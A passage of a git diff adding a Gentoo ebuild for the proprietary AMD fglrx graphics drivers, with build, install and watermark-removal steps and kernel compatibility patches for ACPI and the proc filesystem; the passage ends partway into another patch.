+ usr/lib\(32\|64\)\?/libaticalcl.so
+ usr/lib\(32\|64\)\?/libaticalrt.so
+ usr/lib\(32\|64\)\?/libatiuki.so.1.0
+ usr/lib\(32\|64\)\?/libatiadlxx.so
+ usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+ usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+ usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+ usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+ usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+ usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+ usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+ usr/lib\(32\|64\)\?/libaticaldd.so
+ usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+ usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+ usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+ usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+ usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+ usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+ usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+ # get the xorg-server version and set BASE_DIR for that
+ BASE_DIR="${S}/xpic"
+
+ # amd64/x86
+ if use amd64 ; then
+ MY_BASE_DIR="${BASE_DIR}_64a"
+ PKG_LIBDIR=lib64
+ ARCH_DIR="${S}/arch/x86_64"
+ else
+ MY_BASE_DIR="${BASE_DIR}"
+ PKG_LIBDIR=lib
+ ARCH_DIR="${S}/arch/x86"
+ fi
+
+ elog
+ elog "Please note that this driver only supports graphic cards based on"
+ elog "Evergreen chipset and newer."
+ elog "This includes the AMD Radeon HD 5400+ series at this moment."
+ elog
+ elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+ elog "For migration information please refer to:"
+ elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+ einfo
+}
+
+src_unpack() {
+ local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+ DRIVERS_DISTFILE=${DRIVERS_URI##*/}
+ XVBA_SDK_DISTFILE=${XVBA_SDK_URI##*/}
+
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ else
+ #please note, RUN may be insanely assigned at top near SRC_URI
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ [[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+ else
+ RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+ fi
+ sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+ fi
+
+ mkdir xvba_sdk
+ cd xvba_sdk
+ unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+ # These are the userspace utilities that we also have source for.
+ # We rebuild these later.
+ rm \
+ "${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+ || die "bin rm failed"
+
+ # amdcccle is shipped separately
+ rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+ # ACPI fixups
+ sed -i \
+ -e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+ -e "s:/var/lib/gdm/:/var/gdm/:" \
+ "${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+ || die "sed failed."
+
+ # Since "who" is in coreutils, we're using that one instead of "finger".
+ sed -i -e 's:finger:who:' \
+ "${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+ || die "Replacing 'finger' with 'who' failed."
+ # Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+ # add function to detect default state.
+ epatch "${FILESDIR}"/ati-powermode-opt-path-3.patch
+
+ # see http://ati.cchtml.com/show_bug.cgi?id=495
+ #epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+ # first hunk applied upstream second (x32 related) was not
+ epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+ # compile fix for AGP-less kernel, bug #435322
+ epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+ # Compile fix for kernel typesafe uid types #469160
+ epatch "${FILESDIR}/typesafe-kuid.diff"
+
+ epatch "${FILESDIR}/ati-drivers-13.6-linux-3.10-proc.diff"
+
+ # Mesa 9.2 compatibility. This is a hack, has_version shouldn't be
+ # used this way. But it seems to work because only fgl_glxinfo is
+ # affected
+ if has_version ">=media-libs/mesa-9.2"; then
+ epatch "${FILESDIR}/ati-drivers-13.8-mesa-9.2-debug.patch"
+ fi
+
+ # Compile fix, https://bugs.gentoo.org/show_bug.cgi?id=454870
+ use pax_kernel && epatch "${FILESDIR}/const-notifier-block.patch"
+
+ cd "${S}"
+ mkdir extra || die "mkdir extra failed"
+ cd extra
+ unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+ # Get rid of watermark. Oldest known reference:
+ # http://phoronix.com/forums/showthread.php?19875-Unsupported-Hardware-watermark
+ if use disable-watermark; then
+ ebegin "Disabling watermark"
+ driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+ for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+ sed -i "s/${x/x5b/\x5b}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+ done
+ eend $? || die "Disabling watermark failed"
+ fi
+}
+
+src_compile() {
+ ebegin "Building fgl_glxgears"
+ cd "${S}"/extra/fgl_glxgears
+ # These extra libs/utils either have an Imakefile that does not
+ # work very well without tweaking or a Makefile ignoring CFLAGS
+ # and the like. We bypass those.
+ # The -DUSE_GLU is needed to compile using nvidia headers
+ # according to a comment in ati-drivers-extra-8.33.6.ebuild.
+ "$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+ -I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+ -lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+ eend $?
+}
+
+src_test() { :; } # no tests present
+
+src_install() {
+ # We can do two things here, and neither of them is very nice.
+
+ # For direct rendering libGL has to be able to load one or more
+ # dri modules (files ending in _dri.so, like fglrx_dri.so).
+ # Gentoo's mesa looks for these files in the location specified by
+ # LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+ # location /usr/$(get_libdir)/dri. Ati's libGL does the same
+ # thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+ # on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+ # 64bit. So we can either put the .so files in that (unusual,
+ # compared to "normal" mesa libGL) location or set
+ # LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+ # 101539.
+
+ # The problem with this approach is that LIBGL_DRIVERS_PATH
+ # *overrides* the default hardcoded location, it does not extend
+ # it. So if ati-drivers is merged but a non-ati libGL is selected
+ # and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+ # (because it changed in a newer mesa or because it was compiled
+ # for a different set of multilib abis than we are) stuff breaks.
+
+ # We create one file per ABI to work with "native" multilib, see
+ # below.
+
+ echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+ doenvd "${T}/03ati-colon-sep" || die
+
+ # All libraries that we have a 32 bit and 64 bit version of on
+ # amd64 are installed in src_install-libs. Everything else
+ # (including libraries only available in native 64bit on amd64)
+ # goes in here.
+
+ # There used to be some code here that tried to detect running
+ # under a "native multilib" portage ((precursor of)
+ # http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+ # should just work (only doing some duplicate work). --marienz
+ if has_multilib_profile && use multilib; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis); do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ # This is sorted by the order the files occur in the source tree.
+
+ # X modules.
+ exeinto /usr/$(get_libdir)/xorg/modules/drivers
+ doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+ exeinto /usr/$(get_libdir)/xorg/modules/linux
+ doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+ exeinto /usr/$(get_libdir)/xorg/modules
+ doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+ # Arch-specific files.
+ # (s)bin.
+ into /opt
+ dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+ dobin "${ARCH_DIR}"/usr/bin/clinfo
+ # We cleaned out the compilable stuff in src_unpack
+ dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+ # Common files.
+ # etc.
+ insinto /etc/ati
+ exeinto /etc/ati
+ # Everything except for the authatieventsd.sh script.
+ doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+ doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+ # include.
+ insinto /usr
+ doins -r ${FOLDER_PREFIX}usr/include
+ insinto /usr/include/X11/extensions
+
+ # Just the atigetsysteminfo.sh script.
+ into /usr
+ dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+ # doc.
+ dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+ doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+ pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+ exeinto /etc/acpi
+ doexe ati-powermode.sh
+ insinto /etc/acpi/events
+ doins events/*
+
+ popd > /dev/null
+
+ # Done with the "source" tree. Install tools we rebuilt:
+ dobin extra/fgl_glxgears/fgl_glxgears
+ newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+ # Gentoo-specific stuff:
+ newinitd "${FILESDIR}"/atieventsd.init atieventsd
+ echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+ newconfd "${T}"/atieventsd.conf atieventsd
+
+ # PowerXpress stuff
+ exeinto /usr/$(get_libdir)/fglrx
+ doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+ cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+ doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+ if [[ "${ABI}" == "amd64" ]]; then
+ local EX_BASE_DIR="${BASE_DIR}_64a"
+ local pkglibdir=lib64
+ local MY_ARCH_DIR="${S}/arch/x86_64"
+ local oclsuffix=64
+ else
+ local EX_BASE_DIR="${BASE_DIR}"
+ local pkglibdir=lib
+ local MY_ARCH_DIR="${S}/arch/x86"
+ local oclsuffix=32
+ fi
+ einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+ local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+ # To make sure we do not miss a spot when these change.
+ local libmajor=1 libminor=2
+ local libver=${libmajor}.${libminor}
+
+ # The GLX libraries
+ # (yes, this really is "lib" even on amd64/multilib --marienz)
+ exeinto ${ATI_ROOT}/lib
+ newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+ libGL.so.${libver}
+ dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+ dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+ exeinto ${ATI_ROOT}/extensions
+ doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+ mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+ # other libs
+ exeinto /usr/$(get_libdir)
+ # Everything except for the libGL.so installed some row above
+ doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+ -maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+ insinto /usr/$(get_libdir)
+ doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+ -maxdepth 1 -type f -not -name '*.so*')
+
+ # DRI modules, installed into the path used by recent versions of mesa.
+ exeinto /usr/$(get_libdir)/dri
+ doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+ # AMD Cal and OpenCL libraries
+ exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+ doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+ doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+ dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+ exeinto /usr/$(get_libdir)
+ doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+ # OpenCL vendor files
+ insinto /etc/OpenCL/vendors/
+ cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+ /usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+ EOF
+ doins "${T}"/amdocl${oclsuffix}.icd
+
+ local envname="${T}"/04ati-dri-path
+ if [[ -n ${ABI} ]]; then
+ envname="${envname}-${ABI}"
+ fi
+ echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+ doenvd "${envname}"
+
+ # Silence the QA notice by creating missing soname symlinks
+ for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+ do
+ local soname=${so##*/}
+ local soname_one=${soname%.[0-9]}
+ local soname_zero=${soname_one%.[0-9]}
+ dosym ${soname} /usr/$(get_libdir)/${soname_one}
+ dosym ${soname_one} /usr/$(get_libdir)/${soname_zero}
+ done
+
+ # See https://bugs.gentoo.org/show_bug.cgi?id=443466
+ dodir /etc/revdep-rebuild/
+ echo "SEARCH_DIRS_MASK=\"/opt/bin/clinfo\"" > "${ED}/etc/revdep-rebuild/62-ati-drivers"
+
+ #remove static libs if not wanted
+ use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+
+ #install xvba sdk headers
+ doheader xvba_sdk/include/amdxvba.h
+
+ if use pax_kernel; then
+ pax-mark m "${D}"/usr/lib*/opengl/ati/lib/libGL.so.1.2 || die "pax-mark failed"
+ fi
+}
+
+pkg_postinst() {
+ elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+ elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+ elog
+ elog "If you experience unexplained segmentation faults and kernel crashes"
+ elog "with this driver and multi-threaded applications such as wine,"
+ elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+ elog
+ elog "Fully rebooting the system after an ${PN} update is recommended"
+ elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+ elog "might not work"
+ elog
+ elog "Some cards need acpid running to handle events"
+ elog "Please add it to boot runlevel with rc-update add acpid boot"
+ elog
+
+ "${ROOT}"/usr/bin/eselect opengl set --use-old ati
+ "${ROOT}"/usr/bin/eselect opencl set --use-old amd
+
+ if has_version "x11-drivers/xf86-video-intel[sna]"; then
+ ewarn "It is reported that xf86-video-intel built with USE=\"sna\" causes the X server"
+ ewarn "to crash on systems that use hybrid AMD/Intel graphics. If you experience"
+ ewarn "this crash, downgrade to xf86-video-intel-2.20.2 or earlier or"
+ ewarn "try disabling sna for xf86-video-intel."
+ ewarn "For details, see https://bugs.gentoo.org/show_bug.cgi?id=430000"
+ fi
+}
+
+pkg_prerm() {
+ "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-13.12-acpi.patch b/x11-drivers/ati-userspace/files/ati-drivers-13.12-acpi.patch
new file mode 100644
index 00000000..3c568742
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-13.12-acpi.patch
@@ -0,0 +1,16 @@
+diff -urN common.old/lib/modules/fglrx/build_mod/kcl_acpi.c common/lib/modules/fglrx/build_mod/kcl_acpi.c
+--- common.old/lib/modules/fglrx/build_mod/kcl_acpi.c 2013-12-27 13:32:34.734832283 +0100
++++ common/lib/modules/fglrx/build_mod/kcl_acpi.c 2013-12-27 13:33:31.849831765 +0100
+@@ -1002,7 +1002,11 @@
+ #endif
+ {
+ return KCL_ACPI_ERROR;
+- }
++ }
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,9,0)
++ ((acpi_tbl_table_handler)handler)(hdr);
++#else
+ ((acpi_table_handler)handler)(hdr);
++#endif
+ return KCL_ACPI_OK;
+ }
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-13.6-linux-3.10-proc.diff b/x11-drivers/ati-userspace/files/ati-drivers-13.6-linux-3.10-proc.diff
new file mode 100644
index 00000000..bdb22eae
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-13.6-linux-3.10-proc.diff
@@ -0,0 +1,356 @@
+diff --git a/common/lib/modules/fglrx/build_mod/drmP.h b/common/lib/modules/fglrx/build_mod/drmP.h
+index 81546b2..4e74526 100755
+--- a/common/lib/modules/fglrx/build_mod/drmP.h
++++ b/common/lib/modules/fglrx/build_mod/drmP.h
+@@ -901,10 +901,6 @@ int DRM(stub_register)(const char *name,
+ int DRM(stub_unregister)(int minor);
+
+ /* Proc support (drm_proc.h) */
+-extern struct proc_dir_entry *DRM(proc_init)(drm_device_t *dev,
+- int minor,
+- struct proc_dir_entry *root,
+- struct proc_dir_entry **dev_root);
+ extern int DRM(proc_cleanup)(int minor,
+ struct proc_dir_entry *root,
+ struct proc_dir_entry *dev_root);
+diff --git a/common/lib/modules/fglrx/build_mod/drm_proc.h b/common/lib/modules/fglrx/build_mod/drm_proc.h
+index 1e3ab4a..c52ad7e 100755
+--- a/common/lib/modules/fglrx/build_mod/drm_proc.h
++++ b/common/lib/modules/fglrx/build_mod/drm_proc.h
+@@ -75,61 +75,6 @@ struct drm_proc_list {
+ #define DRM_PROC_ENTRIES (sizeof(DRM(proc_list))/sizeof(DRM(proc_list)[0]))
+
+ /**
+- * Initialize the DRI proc filesystem for a device.
+- *
+- * \param dev DRM device.
+- * \param minor device minor number.
+- * \param root DRI proc dir entry.
+- * \param dev_root resulting DRI device proc dir entry.
+- * \return root entry pointer on success, or NULL on failure.
+- *
+- * Create the DRI proc root entry "/proc/ati", the device proc root entry
+- * "/proc/ati/%minor%/", and each entry in proc_list as
+- * "/proc/ati/%minor%/%name%".
+- */
+-struct proc_dir_entry *DRM(proc_init)(drm_device_t *dev, int minor,
+- struct proc_dir_entry *root,
+- struct proc_dir_entry **dev_root)
+-{
+- struct proc_dir_entry *ent;
+- int i, j;
+- char name[64];
+-
+- if (!minor) root = create_proc_entry("dri", S_IFDIR, NULL);
+- if (!root) {
+- DRM_ERROR("Cannot create /proc/ati\n");
+- return NULL;
+- }
+-
+- sprintf(name, "%d", minor);
+- *dev_root = create_proc_entry(name, S_IFDIR, root);
+- if (!*dev_root) {
+- DRM_ERROR("Cannot create /proc/ati/%s\n", name);
+- return NULL;
+- }
+-
+- for (i = 0; i < DRM_PROC_ENTRIES; i++) {
+- ent = create_proc_entry(DRM(proc_list)[i].name,
+- S_IFREG|S_IRUGO, *dev_root);
+- if (!ent) {
+- DRM_ERROR("Cannot create /proc/ati/%s/%s\n",
+- name, DRM(proc_list)[i].name);
+- for (j = 0; j < i; j++)
+- remove_proc_entry(DRM(proc_list)[i].name,
+- *dev_root);
+- remove_proc_entry(name, root);
+- if (!minor) remove_proc_entry("dri", NULL);
+- return NULL;
+- }
+- ent->read_proc = DRM(proc_list)[i].f;
+- ent->data = dev;
+- }
+-
+- return root;
+-}
+-
+-
+-/**
+ * Cleanup the proc filesystem resources.
+ *
+ * \param minor device minor number.
+diff --git a/common/lib/modules/fglrx/build_mod/firegl_public.c b/common/lib/modules/fglrx/build_mod/firegl_public.c
+index d3ad3ce..890a0aa 100755
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -583,6 +583,202 @@ kcl_proc_list_t KCL_PROC_FileList[] =
+ { "NULL", NULL, NULL} // Terminate List!!!
+ };
+
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
++typedef int (read_proc_t)(char *page, char **start, off_t off, int count, int *eof, void *data);
++typedef int (write_proc_t)(struct file *file, const char __user *buffer, unsigned long count, void *data);
++#else
++#define PDE_DATA(inode) (PDE((inode))->data)
++#endif
++
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
++typedef struct {
++ read_proc_t *read_func;
++ write_proc_t *write_func;
++ void *data;
++} gentoo_proc_wrapper_t;
++
++#define GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC 939750305
++
++static ssize_t gentoo_proc_wrapper_read (struct file *myfile, char __user *buffer, size_t count, loff_t *offset) {
++ int is_eof=0, retval;
++ char *start, *usebuffer=NULL;
++ gentoo_proc_wrapper_t* wrapper_data=(gentoo_proc_wrapper_t*)(myfile->private_data);
++ if (PAGE_SIZE<*offset) {
++ printk(KERN_ERR "Trying to read beyond 4k on proc\n");
++ return -EIO;
++ }
++ //printk(KERN_NOTICE " call with: dev %p, func %p\n", wrapper_data->data, wrapper_data->read_func);
++
++ usebuffer=kmalloc(2*PAGE_SIZE, GFP_KERNEL);
++ if (!usebuffer)
++ return -ENOMEM;
++ ((u32*)usebuffer)[1024]=GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC;
++
++ retval=wrapper_data->read_func(usebuffer, &start, *offset, count, &is_eof, wrapper_data->data);
++
++ BUG_ON(GENTOO_PROC_WRAPPER_OVERFLOW_MAGIC != ((u32*)usebuffer)[1024]);
++
++ if (0 > retval)
++ {
++ printk(KERN_ERR "Proc read failed with %d", retval);
++ goto out;
++ }
++
++ if (copy_to_user(buffer, start, retval)) {
++ printk(KERN_NOTICE "copy to user failed in amd drivers proc code\n");
++ retval=-EFAULT;
++ goto out;
++ }
++ *offset+=retval;
++
++out:
++ if (usebuffer)
++ kfree(usebuffer);
++ return retval;
++}
++static ssize_t gentoo_proc_wrapper_write (struct file *myfile, const char __user *buffer, size_t count, loff_t *offset) {
++ gentoo_proc_wrapper_t* wrapper_data=(gentoo_proc_wrapper_t*)(myfile->private_data);
++ int retval=0;
++ void *usebuffer=NULL;
++
++ BUG_ON(*offset);
++ if (!wrapper_data->write_func)
++ return -EPERM;
++
++ usebuffer=kmalloc(count, GFP_KERNEL);
++ if (!usebuffer)
++ return -ENOMEM;
++ if (copy_from_user(usebuffer, buffer, count)) {
++ printk(KERN_NOTICE "copy from user failed in amd drivers proc code\n");
++ retval=-EFAULT;
++ goto out;
++ }
++
++ retval=wrapper_data->write_func(myfile, buffer, count, wrapper_data->data);
++ *offset+=retval;
++out:
++ if (usebuffer)
++ kfree(usebuffer);
++ return retval;
++}
++static int gentoo_proc_wrapper_open(struct inode *myinode, struct file *myfile) {
++ myfile->private_data=PDE_DATA(myinode);
++ return generic_file_open(myinode, myfile);
++}
++struct file_operations gentoo_proc_fops = {
++ .read=gentoo_proc_wrapper_read,
++ .write=gentoo_proc_wrapper_write,
++ .open=gentoo_proc_wrapper_open,
++};
++
++static void *gentoo_proc_wrapper_data(read_proc_t *reader, write_proc_t *writer, void *mydata) {
++ gentoo_proc_wrapper_t *retval=kmalloc(sizeof(gentoo_proc_wrapper_t), GFP_KERNEL);
++ if (!retval)
++ return retval;
++ retval->read_func=reader;
++ retval->write_func=writer;
++ retval->data=mydata;
++ return retval;
++}
++
++static struct proc_dir_entry *firegl_proc_init( device_t *dev,
++ int minor,
++ struct proc_dir_entry *root,
++ struct proc_dir_entry **dev_root,
++ kcl_proc_list_t *proc_list ) // proc_list must be terminated!
++{
++ struct proc_dir_entry *ent;
++ char name[64];
++ kcl_proc_list_t *list = proc_list;
++ void *tempdata;
++ KCL_DEBUG1(FN_FIREGL_PROC, "minor %d, proc_list 0x%08lx\n", minor, (unsigned long)proc_list);
++ if (!minor)
++ {
++ root = proc_mkdir("ati", NULL);
++ }
++
++ if (!root)
++ {
++ KCL_DEBUG_ERROR("Cannot create /proc/ati\n");
++ return NULL;
++ }
++
++ if (minor == 0)
++ {
++ // Global major debice number entry
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)firegl_major_proc_read, NULL, NULL);
++ if (!tempdata)
++ return NULL;
++ ent = proc_create_data("major", S_IFREG|S_IRUGO, root, &gentoo_proc_fops, tempdata);
++ if (!ent)
++ {
++ remove_proc_entry("ati", NULL);
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/major\n");
++ return NULL;
++ }
++ }
++
++ sprintf(name, "%d", minor);
++ *dev_root = proc_mkdir(name, root);
++ if (!*dev_root) {
++ remove_proc_entry("major", root);
++ remove_proc_entry("ati", NULL);
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/%s\n", name);
++ return NULL;
++ }
++
++ while (list->f || list->fops)
++ {
++ struct file_operations *my_fops = &gentoo_proc_fops;
++ if (list->fops)
++ {
++ my_fops = (struct file_operations*)list->fops;
++ tempdata=(dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev);
++ }
++ else {
++ BUG_ON(!list->f);
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)list->f, NULL, (dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev) );
++ if (!tempdata)
++ return NULL;
++ }
++ //printk(KERN_NOTICE "name %s, dev %p, func %p, data %p\n", list->name, (dev->pubdev.signature == FGL_DEVICE_SIGNATURE)? firegl_find_device(minor) : (dev), list->f, tempdata);
++ ent = proc_create_data(list->name, S_IFREG|S_IRUGO, *dev_root, my_fops, tempdata);
++
++ if (!ent)
++ {
++ KCL_DEBUG_ERROR("Cannot create /proc/ati/%s/%s\n", name, list->name);
++ while (proc_list != list)
++ {
++ remove_proc_entry(proc_list->name, *dev_root);
++ proc_list++;
++ }
++ remove_proc_entry(name, root);
++ if (!minor)
++ {
++ remove_proc_entry("major", root);
++ remove_proc_entry("ati", NULL);
++ }
++ return NULL;
++ }
++
++ list++;
++ }
++
++ if (minor == 0)
++ {
++ // Global debug entry, only create it once
++ tempdata=gentoo_proc_wrapper_data((read_proc_t*)firegl_debug_proc_read_wrap, (write_proc_t*)firegl_debug_proc_write_wrap, dev);
++ if (!tempdata)
++ return NULL;
++ ent=proc_create_data("debug", S_IFREG|S_IRUGO, root, &gentoo_proc_fops, tempdata);
++ if (!ent)
++ return NULL;
++ }
++
++ return root;
++}
++#else
+ static struct proc_dir_entry *firegl_proc_init( device_t *dev,
+ int minor,
+ struct proc_dir_entry *root,
+@@ -677,6 +873,7 @@ static struct proc_dir_entry *firegl_proc_init( device_t *dev,
+
+ return root;
+ }
++#endif
+
+ static int firegl_proc_cleanup( int minor,
+ struct proc_dir_entry *root,
+@@ -6135,59 +6332,4 @@ void ATI_API_CALL KCL_fpu_end(void)
+ kernel_fpu_end();
+ }
+
+-/** Create new directory entry under "/proc/ati/...."
+- * Where
+- * root_dir - Root directory. If NULL then we should use "/proc/ati" root.
+- * name - Pointer to the name of directory
+- * access - Access attribute. We could use it to disable access to the directory for everybody accept owner.
+- * By default owner is root.
+- * Return NULL if failure. Pointer to proc_dir_entry otherwise
+- */
+-void * KCL_create_proc_dir(void *root_dir, const char *name, unsigned int access)
+-{
+- struct proc_dir_entry *dir = NULL;
+-
+- if (root_dir == NULL)
+- dir = create_proc_entry(name, S_IFDIR | access, firegl_stub_root);
+- else
+- dir = create_proc_entry(name, S_IFDIR | access, (struct proc_dir_entry *)root_dir);
+-
+- return dir;
+-}
+-
+-/* Remove proc directory entry
+- * root - Pointer to directory proc entry or NULL if for "/proc/ati"
+- * name - Name to delete
+- */
+-void KCL_remove_proc_dir_entry(void *root, const char *name)
+-{
+- if (root == NULL)
+- remove_proc_entry(name, firegl_stub_root);
+- else
+- remove_proc_entry(name, (struct proc_dir_entry *)root);
+-}
+-
+-
+-/* Create proc_entry under "root_dir"
+- * read_fn - Function which will be called on read request
+- * write_fn - Function which will be called on write request
+- * private_data - Pointer to private data which will be passed
+- */
+-void KCL_create_proc_entry(void *root_dir, const char *name, unsigned int access_mode, void *read_fn, void *write_fn, void *private_data)
+-{
+- struct proc_dir_entry *ent = NULL;
+-
+- if (root_dir == NULL || name == NULL)
+- return;
+-
+- ent = create_proc_entry(name, access_mode, (struct proc_dir_entry *)root_dir);
+-
+- if (ent)
+- {
+- ent->read_proc = (read_proc_t *)read_fn;
+- ent->write_proc = (write_proc_t *)write_fn;
+- ent->data = private_data;
+- }
+-}
+-
+ #endif /* __KERNEL__ */
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-13.8-beta-include-seq_file.patch b/x11-drivers/ati-userspace/files/ati-drivers-13.8-beta-include-seq_file.patch
new file mode 100644
index 00000000..fb1ba17e
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-13.8-beta-include-seq_file.patch
@@ -0,0 +1,13 @@
+diff --git a/common/lib/modules/fglrx/build_mod/firegl_public.c b/common/lib/modules/fglrx/build_mod/firegl_public.c
+index 22561c5..fdfe65e 100755
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
